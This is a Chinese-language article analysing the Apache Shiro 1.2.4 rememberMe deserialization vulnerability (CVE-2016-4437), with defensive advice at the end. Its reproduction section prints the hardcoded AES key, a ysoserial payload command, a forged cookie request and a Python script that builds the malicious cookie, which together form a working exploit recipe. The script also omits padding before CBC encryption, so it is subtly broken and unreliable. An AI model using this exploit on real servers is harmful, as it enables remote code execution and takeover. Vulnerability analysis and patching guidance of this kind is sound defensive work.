插件窝 干货文章 Apache Shiro 1.2.4反序列化漏洞实例分析

Apache Shiro 1.2.4反序列化漏洞实例分析

序列化 密钥 加密 rememberMe 32    来源:    2025-04-24

Apache Shiro 1.2.4反序列化漏洞分析

漏洞概述

Apache Shiro 1.2.4及之前版本存在一个严重的安全漏洞(CVE-2016-4437),该漏洞允许攻击者通过精心构造的恶意序列化数据执行远程代码。这个漏洞源于Shiro框架中使用的默认加密密钥,使得攻击者能够伪造有效的rememberMe cookie并执行反序列化攻击。

漏洞原理

  1. RememberMe功能:Shiro提供了记住用户身份的功能,通过将用户信息序列化后加密存储在cookie中
  2. 默认密钥:Shiro 1.2.4及之前版本使用硬编码的加密密钥(AES加密的密钥为kPH+bIxk5D2deZiIxcaaaA==)
  3. 反序列化风险:攻击者可以构造恶意序列化对象,使用默认密钥加密后作为rememberMe cookie发送,服务器在反序列化时会执行恶意代码

漏洞复现

环境准备

  • 漏洞版本:Apache Shiro 1.2.4
  • 测试工具:ysoserial(生成payload)、Burp Suite(拦截修改请求)

攻击步骤

  1. 识别Shiro应用

    • 检查HTTP响应头或cookie中是否包含rememberMe=deleteMe
  2. 生成恶意payload

    java -jar ysoserial.jar CommonsCollections5 "command_to_execute" > payload.ser
    
  3. 加密payload

    • 使用Shiro默认密钥对payload进行AES加密
    • Base64编码加密后的数据
  4. 构造恶意请求

    GET / HTTP/1.1
    Host: vulnerable-app.com
    Cookie: rememberMe=[base64_encoded_payload]
    

漏洞利用代码示例

import sys
import base64
import uuid
from Crypto.Cipher import AES

def exploit():
    # 默认Shiro密钥
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")

    # 使用ysoserial生成的payload文件
    with open('payload.ser', 'rb') as f:
        payload = f.read()

    # AES加密
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    ciphertext = encryptor.encrypt(payload)

    # 构造rememberMe cookie
    rememberMe = base64.b64encode(iv + ciphertext)
    print("恶意rememberMe cookie:")
    print(rememberMe.decode())

if __name__ == '__main__':
    exploit()

防御措施

  1. 升级Shiro版本:升级到1.2.5或更高版本,这些版本不再使用默认密钥
  2. 自定义加密密钥:在shiro.ini或配置文件中设置自定义的cipherKey ini securityManager.rememberMeManager.cipherKey = your_random_base64_encoded_key_here
  3. 禁用rememberMe功能:如果不需要该功能,可以完全禁用
  4. 输入验证:对所有反序列化操作进行严格验证
  5. 使用Java安全策略:配置反序列化过滤器

总结

Apache Shiro 1.2.4反序列化漏洞是一个典型的安全问题,它强调了以下几个安全原则的重要性: - 避免使用硬编码密钥 - 谨慎处理用户提供的序列化数据 - 及时更新依赖库到安全版本 - 最小化功能原则,只启用必要的功能

企业应立即检查是否使用受影响版本,并按照上述防御措施进行修复。